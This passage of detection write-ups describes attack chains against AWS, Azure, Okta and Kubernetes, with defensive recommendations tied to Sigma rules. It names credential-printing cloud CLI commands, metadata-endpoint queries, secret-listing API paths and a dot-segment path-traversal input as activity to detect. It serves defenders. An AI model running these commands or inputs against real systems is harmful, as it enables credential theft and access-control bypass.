2. The attacker initiates an Okta user session from behind a proxy (VPN, Tor, etc.) to mask their origin.
3. Okta classifies the connection as originating from a proxy.
4. The user successfully authenticates and starts a session.
5. Post-authentication, the attacker attempts to access sensitive applications or data. (T1078.004)
6. The attacker’s activity triggers an Okta security alert, such as unusual access patterns or MFA bypass attempts.
7. The detection rule correlates the proxy authentication event with the subsequent security alert.
8. Security team investigates and responds to the potential account compromise.

Impact

A successful attack can lead to unauthorized access to sensitive data, privilege escalation, and lateral movement within the organization’s cloud environment. Multiple alerts, coupled with proxy authentication, indicate a higher likelihood of account compromise. If successful, attackers could exfiltrate sensitive data, modify configurations, or disrupt services.

Recommendation

• Deploy the Sigma rule “Okta Alerts Following Unusual Proxy Authentication” to your SIEM and tune for your environment to detect suspicious activity after proxy authentication.
• Investigate correlated security alerts triggered after proxy authentication events for affected users, as highlighted by the Sigma rule.
• Monitor Okta system logs for authentication events originating from known malicious proxy IP addresses and block them at the network perimeter.
• Review user’s Okta activity for signs of account takeover (MFA changes, new devices, unusual app access) after proxy authentication.
• Implement multi-factor authentication (MFA) to reduce the risk of account compromise via stolen credentials, as this attack relies on valid accounts.

Attack Chain

1. An attacker gains initial access to an AWS account, potentially through compromised credentials or exploiting a vulnerability.
2. The attacker explores the AWS environment, identifying SES as a service to abuse for sending malicious emails.
3. The attacker configures SES, verifies an email address or domain, and establishes sending capabilities.
4. The attacker crafts and sends phishing emails or emails containing malicious attachments to external targets.
5. After the malicious campaign, the attacker attempts to cover their tracks by deleting the SES identity to remove evidence of their activity.
6. The attacker executes the “DeleteIdentity” API call within SES, specifying the identity to be removed.
7. AWS CloudTrail logs record the “DeleteIdentity” event, capturing details such as the event source, event name, and user identity.
8. The attacker may further attempt to delete or modify other CloudTrail logs to eliminate the traces of their actions.

Impact

The successful deletion of an SES identity hinders incident response and forensic investigations. If an attacker successfully removes the SES identity, it becomes more difficult to trace the origin of malicious emails and attribute the activity to a specific actor. The deletion itself does not directly cause harm, but it obstructs the ability to understand the full scope and impact of the attack.

Recommendation

• Implement the provided Sigma rule (SES Identity Has Been Deleted) to detect SES identity deletion events within your CloudTrail logs.
• Investigate any detected DeleteIdentity events, correlating them with other suspicious AWS activity, such as unusual IAM role usage or unauthorized access attempts.
• Enable and monitor AWS CloudTrail logs for all regions within your AWS account to ensure comprehensive event capture.
• Implement strong IAM policies and multi-factor authentication (MFA) to prevent unauthorized access to AWS accounts.

Attack Chain

1. A Kubernetes service account projects a token.
2. The service account uses AssumeRoleWithWebIdentity to exchange the token for short-lived IAM credentials.
3. The attacker leverages the assumed role to perform reconnaissance activities such as ListUsers, ListRoles, and DescribeInstances.
4. The attacker attempts to access secrets using actions like GetSecretValue and ListSecrets.
5. The attacker escalates privileges by modifying IAM policies with actions like AttachRolePolicy and PutRolePolicy.
6. The attacker attempts to create new users or roles within the AWS environment using actions like CreateUser and CreateRole.
7. The attacker performs lateral movement using actions like SendCommand and StartSession.
8. The attacker attempts to evade detection by stopping logging with the StopLogging action.

Impact

Successful exploitation can lead to unauthorized access to sensitive data, privilege escalation, and the potential compromise of the entire AWS environment. Lateral movement within the AWS infrastructure allows attackers to gain access to critical systems and data, potentially leading to data breaches, service disruptions, or other malicious activities.

Recommendation

• Deploy the provided Sigma rule to your SIEM to detect potentially malicious activity related to AssumeRoleWithWebIdentity and tune for your environment.
• Review and harden IAM role trust policies associated with Kubernetes service accounts, specifically focusing on OIDC trust conditions, as referenced in the IAM OIDC identity provider documentation.
• Implement strict least privilege principles for Kubernetes service accounts, limiting their access to only the necessary AWS resources, as covered in EKS IAM roles for service accounts.
• Monitor CloudTrail logs for AssumeRoleWithWebIdentity events followed by suspicious API calls, focusing on the actions listed in the Sigma rule detection patterns.

Attack Chain

1. An attacker gains initial access to a system, possibly via compromised credentials or exploiting a vulnerability.
2. The attacker uses a shell (cmd.exe, PowerShell, bash, etc.) to execute cloud CLI commands.
3. The attacker executes commands to list available credentials or tokens (e.g., aws configure list, az account list, kubectl config view).
4. The attacker executes commands to print access tokens for various cloud providers (e.g., gcloud auth print-access-token, az account get-access-token, gh auth token).
5. The attacker uses credential harvesting commands across multiple cloud platforms within a short timeframe.
6. The attacker exfiltrates the harvested credentials to a remote location.
7. The attacker uses the stolen credentials to access sensitive cloud resources and data.
8. The attacker performs lateral movement within the cloud environment.

Impact

A successful attack can lead to unauthorized access to sensitive cloud resources, data breaches, and lateral movement within cloud environments. The impact includes potential data exfiltration, service disruption, and financial loss. The number of affected victims will depend on the scope of the compromised credentials and the attacker’s ability to exploit them.

Recommendation

• Deploy the Sigma rule “Multi-Cloud CLI Token and Credential Access Commands” to your SIEM to detect suspicious command-line activity related to cloud credential harvesting.
• Review Esql.process_command_line_values in the rule output to identify the exact commands executed and determine if the activity was legitimate or malicious.
• Correlate the detected activity with authentication, Kubernetes audit, and cloud API logs to confirm unauthorized access and misuse of printed tokens.
• Implement monitoring and alerting for unusual CLI activity originating from user workstations or build servers, focusing on the CLIs mentioned in the Overview section.
• Follow vendor-specific guidance to revoke compromised credentials, such as revoking tokens and rotating secrets, as outlined in the rule’s “Response and remediation” section.

Attack Chain

1. An attacker gains initial access to an Azure account, possibly through compromised credentials or a vulnerable application.
2. The attacker authenticates to the Azure portal or uses Azure CLI with the compromised credentials.
3. The attacker executes commands to create a new service principal using tools like Azure CLI or PowerShell.
4. Azure Activity Logs record the “Add service principal” event.
5. The attacker assigns roles and permissions to the newly created service principal, granting it access to specific resources.
6. The attacker leverages the service principal for lateral movement, accessing resources or services within the Azure environment.
7. The service principal is used for persistence, allowing the attacker to maintain access even if the initial access method is revoked.

Impact

Successful creation and misuse of a service principal can lead to unauthorized access to sensitive data, resources, and services within the Azure environment. The impact can range from data breaches and service disruption to complete control over the Azure subscription, potentially affecting hundreds or thousands of resources and users. The attacker can leverage the compromised service principal to perform actions with the permissions assigned to it, leading to significant damage and financial loss.

Recommendation

• Deploy the Sigma rule “Azure Service Principal Created” to your SIEM and tune for your environment to detect suspicious service principal creations.
• Investigate any alerts generated by the “Azure Service Principal Created” rule (logsource: azure) by verifying the user identity, user agent, and hostname associated with the event.
• Review and audit existing service principals and their assigned permissions to identify any anomalies or overly permissive configurations.
• Implement multi-factor authentication (MFA) for all user accounts to reduce the risk of credential compromise and unauthorized access.

Attack Chain

1. The attacker gains initial access to an AWS account, potentially through compromised credentials or exploiting a misconfigured IAM role (T1078).
2. The attacker enumerates existing SecurityHub findings and insights to identify potential targets for modification or deletion.
3. The attacker calls the BatchUpdateFindings API to modify the severity, confidence, or resolution status of specific findings, effectively silencing alerts (T1562.003).
4. Alternatively, the attacker calls the UpdateFindings API to modify individual findings.
5. The attacker calls the DeleteInsight API to remove custom insights that could reveal their activities (T1562).
6. As another option, the attacker calls the UpdateInsight API to modify the criteria of existing insights, causing them to miss malicious activities.
7. The attacker validates the changes by querying SecurityHub to confirm that the targeted findings and insights have been successfully altered or removed.
8. The attacker continues malicious activities, such as data exfiltration or lateral movement, with a reduced risk of detection due to the modified SecurityHub state (TA0005).

Impact

Successful evasion of SecurityHub findings can lead to delayed incident response, prolonged attacker presence within the AWS environment, and increased data exfiltration or system compromise. The impact is particularly severe in production environments where SecurityHub is relied upon for real-time threat detection and alerting. By modifying or deleting findings, attackers can effectively blind security teams, enabling them to operate undetected for extended periods. The number of potential victims is directly proportional to the scale of AWS deployments relying on SecurityHub.

Recommendation

• Deploy the Sigma rule “AWS SecurityHub Findings Evasion” to your SIEM and tune for your environment to detect suspicious API calls related to findings manipulation (logsource: aws, service: cloudtrail).
• Review and harden IAM policies to restrict access to SecurityHub API actions such as BatchUpdateFindings, DeleteInsight, UpdateFindings, and UpdateInsight to only authorized users and roles.
• Implement multi-factor authentication (MFA) for all AWS accounts and roles, especially those with permissions to modify SecurityHub configurations.
• Regularly audit CloudTrail logs for suspicious activity related to SecurityHub configuration changes.

Attack Chain

1. Initial access is gained via compromised AWS credentials or by exploiting an AWS vulnerability.
2. The attacker enumerates the current AWS Identity Center configuration to identify the currently associated directory.
3. The attacker disassociates the existing, legitimate directory using DisassociateDirectory.
4. The attacker associates a malicious directory they control using AssociateDirectory. This malicious directory is configured to impersonate legitimate users.
5. Alternatively, the attacker disables external IdP configuration for the directory using DisableExternalIdPConfigurationForDirectory.
6. The attacker enables external IdP configuration for the directory, pointing to an attacker-controlled IdP, using EnableExternalIdPConfigurationForDirectory.
7. The attacker uses the malicious or attacker-controlled IdP to authenticate as legitimate users, gaining access to AWS resources.
8. The attacker performs malicious actions within the AWS environment, such as data exfiltration or resource destruction.

Impact

Successful modification of the AWS Identity Center identity provider can lead to complete compromise of an AWS environment. Attackers can gain persistent access, escalate privileges, and impersonate legitimate users. This can result in data breaches, service disruption, financial loss, and reputational damage. The impact can extend to all AWS accounts and applications managed by the compromised Identity Center instance.

Recommendation

• Deploy the provided Sigma rule to your SIEM to detect unauthorized changes to the AWS Identity Center identity provider.
• Investigate any detected events related to AssociateDirectory, DisableExternalIdPConfigurationForDirectory, DisassociateDirectory, or EnableExternalIdPConfigurationForDirectory in AWS CloudTrail logs.
• Implement multi-factor authentication (MFA) for all AWS accounts and users to reduce the risk of credential compromise.
• Review and restrict IAM permissions to minimize the blast radius of compromised credentials.
• Monitor AWS CloudTrail logs for unusual activity patterns that might indicate malicious directory association attempts.

Attack Chain

1. An attacker gains initial access to an AWS environment, potentially through compromised credentials or an exploited vulnerability.
2. The attacker installs and configures S3 Browser on a compromised host or uses an existing installation.
3. The attacker authenticates S3 Browser to the AWS environment using existing compromised credentials or an assumed role.
4. The attacker uses S3 Browser to execute the CreateUser API call within AWS IAM.
5. The attacker configures the new IAM user with elevated privileges, potentially granting administrator access.
6. Alternatively, the attacker uses S3 Browser to execute the CreateAccessKey API call for an existing IAM user.
7. The attacker uses the newly created access key to perform actions within the AWS environment.
8. The attacker leverages the new user or access key for persistence, lateral movement, and data exfiltration within the AWS environment.

Impact

Successful exploitation and IAM creation can lead to complete compromise of the AWS environment. An attacker with escalated privileges can access sensitive data, modify configurations, disrupt services, and deploy malicious infrastructure. Depending on the permissions granted to the created user or access key, the attacker could potentially pivot to other AWS accounts or services, leading to widespread damage. This can result in significant financial losses, reputational damage, and regulatory penalties.

Recommendation

• Deploy the Sigma rule “AWS IAM S3Browser User or AccessKey Creation” to your SIEM and tune for your environment to detect anomalous IAM activity originating from S3 Browser.
• Investigate any instances of CreateUser or CreateAccessKey events in AWS CloudTrail logs where the userAgent contains “S3 Browser”.
• Implement multi-factor authentication (MFA) for all IAM users to mitigate the risk of credential compromise.
• Review and enforce the principle of least privilege for all IAM users and roles to limit the impact of compromised credentials.

Attack Chain

1. The attacker gains unauthorized access to an Azure account through compromised credentials or other means.
2. The attacker identifies a service principal used for malicious purposes or to maintain persistence.
3. The attacker attempts to remove the service principal to evade detection or disrupt incident response efforts.
4. The attacker executes the necessary commands or uses the Azure portal to initiate the service principal removal. This action is logged in the Azure Activity Logs.
5. The Azure Activity Logs record an event with the message “Remove service principal”.
6. The detection rule triggers based on the “Remove service principal” message in the Azure Activity Logs.
7. Security analysts investigate the event, examining the user identity, user agent, and hostname associated with the removal.
8. If the removal is deemed unauthorized or suspicious, further incident response procedures are initiated.

Impact

Successful removal of a service principal by a malicious actor can disrupt legitimate applications relying on that principal for authentication and authorization. It can also hinder incident response efforts by eliminating a potential avenue for investigation or remediation. The impact can range from service disruptions to prolonged breaches if the attacker successfully covers their tracks. The number of affected applications and the severity of the disruption depend on the role and permissions associated with the removed service principal.

Recommendation

• Deploy the Sigma rule “Azure Service Principal Removed” to your SIEM and tune for your environment, focusing on identifying legitimate administrator activity to reduce false positives.
• Investigate any detected instance of service principal removal, focusing on the user identity, user agent, and hostname from the Azure Activity Logs to determine legitimacy.
• Review Azure AD audit logs for related activities occurring before and after the service principal removal.

Attack Chain

1. The attacker gains initial access to an Azure account with sufficient privileges to modify application registrations.
2. The attacker navigates to the Azure Active Directory portal.
3. The attacker locates a target application registration.
4. The attacker modifies the application’s URI settings, such as the reply URLs or identifier URIs.
5. The attacker configures the URI to point to a malicious server or a phishing page.
6. Users or applications are redirected to the malicious URI when attempting to authenticate or access the application.
7. The attacker intercepts credentials or performs other malicious actions.
8. The attacker establishes persistence by maintaining control over the application’s URI settings.

Impact

A successful attack could lead to credential theft, data breaches, or unauthorized access to sensitive resources. By compromising application URIs, attackers can redirect users to phishing pages, intercept credentials, or gain a foothold in the environment for further exploitation. This activity can be difficult to detect and can have a significant impact on the organization’s security posture.

Recommendation

• Deploy the Sigma rule Application URI Configuration Changes to your SIEM to detect suspicious modifications to application URIs in Azure Audit Logs.
• Investigate any alerts generated by the Sigma rule Application URI Configuration Changes to determine if the URI modification is legitimate or malicious.
• Monitor Azure Audit Logs for any changes to application URI settings (as indicated by properties.message: Update Application Sucess- Property Name AppAddress) and validate the legitimacy of the changes.

Attack Chain

1. An attacker gains initial access to an AWS environment, potentially through compromised IAM user credentials.
2. The attacker authenticates to AWS using the compromised IAM user credentials.
3. The attacker calls the STS GetSessionToken API, specifying desired permissions or roles (if permitted by the IAM user’s policies).
4. AWS STS generates a new set of temporary credentials (access key ID, secret access key, and session token).
5. The attacker configures their AWS CLI or SDK to use the newly acquired temporary credentials.
6. The attacker leverages these temporary credentials to perform actions within the AWS environment, potentially escalating privileges or moving laterally.
7. The attacker covers their tracks by deleting the CloudTrail logs.
8. The attacker exfiltrates sensitive data, deploys malware, or causes disruption within the AWS environment using the acquired privileges.

Impact

Compromised AWS environments can lead to data breaches, service disruptions, and financial losses. Successful exploitation via GetSessionToken misuse allows attackers to move laterally, escalate privileges, and perform unauthorized actions within the AWS infrastructure. The number of affected organizations is currently unknown, but any organization relying on AWS is potentially at risk. If successful, attackers can steal sensitive data, compromise critical systems, and disrupt business operations.

Recommendation

• Deploy the Sigma rule “AWS STS GetSessionToken Misuse” to your SIEM to detect suspicious GetSessionToken API calls (see rules section).
• Investigate GetSessionToken calls where userIdentity.type is IAMUser to determine if the request is legitimate.
• Monitor CloudTrail logs for unusual patterns of GetSessionToken usage, particularly from unfamiliar user agents or hosts.
• Implement strong IAM policies and MFA to minimize the risk of compromised IAM user credentials.
• Review the false positives section of the Sigma rule to tune the rule for your specific environment.

Attack Chain

1. An unauthenticated attacker identifies a pygeoapi instance running a vulnerable version (0.23.0 - 0.23.2).
2. The attacker crafts a malicious OGC API process execution request.
3. Within the request, the attacker manipulates the subscriber object.
4. The subscriber object is configured to target an internal HTTP service by specifying the internal service’s address.
5. pygeoapi processes the request without proper validation of the subscriber object’s target.
6. pygeoapi initiates an HTTP request to the attacker-specified internal service.
7. The internal service responds to pygeoapi.
8. pygeoapi may then relay information received from the internal service back to the attacker, or the attacker might be able to trigger actions based on the SSRF.

Impact

Successful exploitation of this SSRF vulnerability allows an unauthenticated attacker to interact with internal HTTP services that should not be publicly accessible. This can lead to the disclosure of sensitive information, such as internal configurations, API keys, or customer data. The attacker may also be able to trigger actions on the internal services, potentially leading to service disruption or data manipulation. The severity of the impact depends on the nature and security posture of the internal services exposed by this vulnerability.

Recommendation

• Upgrade to pygeoapi version 0.23.3 or later to remediate CVE-2026-42352.
• Apply the provided patch 3a63f5b0cc6275e3ae0edb47726b13a43cdd90ef if upgrading is not immediately feasible.
• If upgrading or patching is not immediately feasible, disable process-based resources in the pygeoapi configuration as a workaround.

Attack Chain

1. Attacker gains initial access to a compromised host or pod within the Kubernetes cluster or an external system with network access to the Kubernetes API server.
2. The attacker crafts HTTP requests to the Kubernetes API server to enumerate available secrets.
3. The attacker uses tooling such as curl, wget, or custom scripts with user agents like python-requests or Go-http-client to interact with the API.
4. The attacker sends a GET or LIST request to the /api/v1/namespaces/{namespace}/secrets/{name} endpoint to retrieve specific secrets or list all secrets in a namespace.
5. The Kubernetes API server authenticates and authorizes the request based on the attacker’s assigned RBAC roles, potentially using impersonation.
6. If authorized, the API server returns the secret data in the response.
7. The attacker extracts sensitive information like passwords, tokens, or API keys from the retrieved secrets.
8. The attacker uses the compromised credentials to escalate privileges, move laterally within the cluster, or access external resources.

Impact

Successful exploitation allows attackers to steal sensitive information stored in Kubernetes secrets, leading to privilege escalation, lateral movement, and unauthorized access to critical systems and data. Compromised credentials can be used to access external cloud resources or internal services. The impact depends on the sensitivity of the secrets, but can include data breaches, service disruptions, and significant financial loss.

Recommendation

• Deploy the Sigma rule Kubernetes Secret get or list with Suspicious User Agent to your SIEM to detect suspicious access to Kubernetes secrets.
• Investigate any alerts triggered by the Sigma rule, focusing on the user identity (user.name), targeted namespace (kubernetes.audit.objectRef.namespace), and source IP (source.ip).
• Baseline expected user agents for legitimate automation and add exceptions to the detection rule for known good traffic.
• Rotate affected secrets and credentials, revoke tokens, and tighten RBAC if unauthorized access is detected.
• Block or isolate the source host at the network edge to the API server where appropriate, based on source.ip.
• Monitor kubernetes.audit.annotations.authorization_k8s_io/decision to identify unauthorized attempts to access secrets.

Attack Chain

1. Attacker gains initial access to a Kubernetes cluster.
2. Attacker identifies a vulnerable pod within the cluster.
3. The attacker uses kubectl exec to gain shell access to the pod.
4. Inside the pod, the attacker crafts a command-line request targeting the cloud instance metadata service (IMDS) endpoint.
5. The command, often using curl or wget, attempts to retrieve sensitive information such as IAM roles, tokens, or instance attributes.
6. The IMDS responds with the requested data, which may include credentials or configuration details.
7. The attacker exfiltrates the stolen credentials or uses them to escalate privileges within the cloud environment.
8. Attacker uses the harvested credentials to move laterally, compromise other cloud resources, or exfiltrate sensitive data.

Impact

Compromised credentials can lead to unauthorized access to sensitive data, lateral movement within the cloud environment, and potential data exfiltration. A successful attack could impact multiple organizations sharing the same Kubernetes cluster. The impact could include financial losses, reputational damage, and regulatory fines, depending on the type of data compromised and the extent of the breach.

Recommendation

• Deploy the Sigma rule Kubernetes Pod Exec IMDS Access to detect suspicious command-line activity within Kubernetes pods.
• Block access to the cloud instance metadata endpoints (169.254.169.254) from within Kubernetes pods using network policies.
• Regularly review and tighten RBAC permissions related to pods/exec to limit the ability of attackers to gain shell access.
• Monitor cloud audit logs for suspicious STS or token issuance events correlated with Kubernetes pod exec events.
• Implement workload identity solutions to avoid the need to expose instance metadata to pods.
• Baseline approved images and tune exclusions narrowly to avoid false positives.

Attack Chain

1. The attacker gains initial access to the AWS environment through compromised credentials or an exploited vulnerability (not detailed in source).
2. The attacker escalates privileges within the AWS environment to gain the necessary permissions to delete VPC Flow Logs (not detailed in source).
3. The attacker uses the AWS CLI or AWS Management Console to execute the DeleteFlowLogs API call.
4. The attacker identifies the specific Flow Log IDs that need to be deleted.
5. The attacker authenticates to the AWS API using stolen or generated credentials.
6. The DeleteFlowLogs API call is made, specifying the Flow Log IDs to be deleted.
7. AWS processes the request and deletes the specified VPC Flow Logs.
8. The attacker verifies the deletion of the Flow Logs to ensure that their actions are no longer being logged.

Impact

Successful deletion of VPC Flow Logs prevents security teams from detecting malicious activity within the AWS environment. Without these logs, it becomes significantly more difficult to investigate security incidents, track attacker movements, and understand the scope of a compromise. This can lead to delayed incident response, increased dwell time for attackers, and greater overall damage. The absence of flow logs severely limits network visibility, hindering any attempt to reconstruct events or identify compromised assets.

Recommendation

• Implement the Sigma rule “AWS VPC Flow Logs Deleted” to detect instances of DeleteFlowLogs API calls (reference: rules section).
• Monitor CloudTrail logs for DeleteFlowLogs events and investigate any unexpected occurrences (reference: logsource).
• Enforce the principle of least privilege to restrict IAM users and roles from having the ec2:DeleteFlowLogs permission unless absolutely necessary.
• Implement multi-factor authentication (MFA) for all AWS accounts, especially those with administrative privileges.
• Regularly review and audit IAM policies to ensure that permissions are appropriately scoped and not overly permissive.

Attack Chain

1. An attacker gains access to the AWS root account credentials through credential theft or other means.
2. The attacker authenticates to the AWS Management Console or uses the AWS CLI with the root account credentials.
3. The attacker enumerates AWS resources to identify potential targets for privilege escalation.
4. The attacker creates or modifies IAM policies to grant themselves additional permissions.
5. The attacker may create new IAM users or roles with elevated privileges.
6. The attacker uses the elevated privileges to access sensitive data stored in S3 buckets or other AWS services.
7. The attacker modifies security configurations, such as network access control lists or security groups, to facilitate lateral movement or data exfiltration.
8. The attacker could disable logging features to cover tracks.

Impact

Compromise of the AWS root account can lead to a complete breach of the AWS environment, resulting in unauthorized access to sensitive data, data loss, service disruption, and potential financial losses. Attackers can leverage root privileges to perform nearly any action within the AWS account, affecting all services and resources. The number of affected victims depends on the scope and criticality of the AWS environment.

Recommendation

• Deploy the Sigma rule “AWS Root Credentials” to your SIEM to detect root account usage based on CloudTrail logs.
• Investigate all instances of root account usage identified by the “AWS Root Credentials” Sigma rule to determine legitimacy.
• Enforce multi-factor authentication (MFA) on all AWS accounts, including the root account, as documented in AWS documentation.
• Implement the principle of least privilege by granting IAM users and roles only the permissions they need to perform their tasks.
• Regularly audit IAM policies and user permissions to identify and remove unnecessary privileges.
• Disable or restrict root account access wherever possible, delegating tasks to IAM users/roles.

Attack Chain

1. An attacker gains unauthorized access to an AWS account through compromised credentials or a privilege escalation exploit.
2. The attacker lists existing S3 buckets to identify potential targets using the ListBuckets API call.
3. The attacker identifies a target S3 bucket containing sensitive data.
4. The attacker attempts to delete the target S3 bucket by issuing a DeleteBucket API call using the AWS CLI or SDK.
5. CloudTrail logs the DeleteBucket event, including the user identity, timestamp, and bucket name.
6. If successful, the S3 bucket and its contents are permanently deleted.
7. The attacker may attempt to remove CloudTrail logs to cover their tracks, using the DeleteTrail API call.

Impact

The deletion of an S3 bucket results in the permanent loss of all data stored within that bucket. This can lead to service disruption, data breaches, and financial losses, especially if the bucket contained critical business data or backups. The impact can range from temporary inconvenience to complete business failure depending on the criticality of the data lost and the organization’s backup and recovery capabilities. Without proper monitoring and alerting, an S3 bucket deletion can go unnoticed for extended periods, hindering incident response efforts and potentially exacerbating the damage.

Recommendation

• Deploy the provided Sigma rule to your SIEM to detect S3 bucket deletion events in CloudTrail logs.
• Investigate any detected DeleteBucket events to verify their legitimacy and ensure they were authorized by appropriate personnel.
• Implement multi-factor authentication (MFA) for all AWS accounts to prevent unauthorized access and reduce the risk of credential compromise.
• Enforce strict IAM policies and regularly review user permissions to minimize the blast radius of compromised accounts.
• Enable versioning on S3 buckets to allow for the recovery of accidentally deleted objects, mitigating the impact of data loss.
• Implement data backup and disaster recovery plans to ensure business continuity in the event of a successful bucket deletion attack.

Attack Chain

1. Attacker gains initial access to a system with AWS CLI tools installed or uses a compromised IAM user with sufficient permissions.
2. The attacker configures S3 Browser with valid AWS credentials, enabling interaction with the AWS environment.
3. S3 Browser initiates a GetLoginProfile API call in AWS CloudTrail, to enumerate IAM users and identify those without existing login profiles.
4. S3 Browser, upon finding an IAM user without a login profile, initiates a CreateLoginProfile API call.
5. The attacker sets a password for the newly created login profile, gaining console access to the targeted IAM user account.
6. The attacker logs into the AWS console using the newly created credentials.
7. The attacker leverages the IAM user’s permissions to perform further reconnaissance, lateral movement, or data exfiltration within the AWS environment.
8. The attacker establishes persistence by maintaining access through the created login profile, even if other access methods are revoked.

Impact

Successful exploitation allows attackers to gain unauthorized console access to previously unprotected IAM user accounts. This can lead to privilege escalation, data breaches, and disruption of cloud services. The lack of multi-factor authentication on newly created login profiles increases the risk of account compromise. The impact can range from reconnaissance to full-scale control of the AWS environment, depending on the permissions associated with the compromised IAM users.

Recommendation

• Deploy the provided Sigma rule to your SIEM to detect GetLoginProfile and CreateLoginProfile events originating from the S3 Browser user agent in AWS CloudTrail logs.
• Investigate any instances of IAM LoginProfile creation originating from unusual user agents or IP addresses.
• Implement multi-factor authentication (MFA) for all IAM users, including those with console access to mitigate the impact of compromised credentials.
• Review IAM policies to ensure least privilege and restrict the ability to create or modify LoginProfiles to authorized personnel only.

Attack Chain

1. An attacker gains initial access to a node within the Kubernetes cluster or a system with access to the Kubernetes API.
2. The attacker authenticates to the Kubernetes API server using compromised credentials or by exploiting a vulnerability.
3. The attacker crafts a list request targeting the /api/v1/secrets endpoint to enumerate all secrets in the cluster.
4. Alternatively, the attacker targets secrets within the kube-system namespace using /api/v1/namespaces/kube-system/secrets or default namespace using /api/v1/namespaces/default/secrets.
5. The API server responds with a list of secrets, potentially including sensitive information.
6. The attacker analyzes the retrieved secrets to identify valuable credentials or configuration data.
7. The attacker uses the acquired credentials to escalate privileges, move laterally within the cluster, or access external resources.

Impact

Successful enumeration of Kubernetes secrets can lead to the compromise of sensitive credentials, allowing attackers to gain unauthorized access to critical systems and data. This can result in data breaches, service disruptions, and significant financial losses. The targeting of kube-system and default namespaces poses a particularly high risk due to the presence of core system components and sensitive configurations.

Recommendation

• Deploy the Sigma rule Kubernetes Secrets List in Sensitive Namespaces to your SIEM to detect suspicious secret enumeration activities based on kubernetes.audit.requestURI.
• Monitor Kubernetes audit logs (logs-kubernetes.audit_logs-*) for list operations on the secrets resource, specifically targeting /api/v1/secrets and sensitive namespaces.
• Implement network policies to restrict access to the Kubernetes API server from untrusted networks.
• Review and harden the security configuration of the kube-system and default namespaces.
• Enforce the principle of least privilege for service accounts and user access to minimize the impact of credential compromise.
• Investigate any alerts generated by the Sigma rule and correlate with other security events to identify potential attacks.

Attack Chain

1. Attacker crafts a malicious HTTP request with a path containing dot-segments (e.g., /public/../user/resource).
2. The request is sent to the Heimdall proxy.
3. Heimdall performs rule matching on the raw, non-normalized path (/public/../user/resource).
4. Heimdall incorrectly matches the request to a less restrictive rule, such as a rule for /public/**, due to the initial /public segment.
5. Heimdall authorizes the request based on the matched rule, potentially allowing anonymous access.
6. The request is forwarded to the downstream service.
7. The downstream service normalizes the request path to /user/resource.
8. The downstream service processes the request as /user/resource, bypassing the intended access controls for that resource, possibly leading to data access or privilege escalation.

Impact

Successful exploitation of this vulnerability allows attackers to bypass access control policies enforced by Heimdall. This can lead to unauthorized access to sensitive data, modification of restricted data, invocation of privileged functionality without proper authentication or authorization, and in certain configurations, escalation of privileges. The number of potential victims depends on the deployment and configuration of Heimdall within affected environments.

Recommendation

• Apply the available patch to upgrade Heimdall to version 0.17.14 or later to remediate the vulnerability.
• Implement HTTP path normalization or rejection of HTTP paths containing relative path expressions in layers in front of Heimdall, as suggested in the advisory.
• Deploy the Sigma rule provided below to detect suspicious HTTP requests containing dot-segments (..) in the request path.
• Configure your proxies (e.g., Envoy) to normalize paths, as described in the advisory.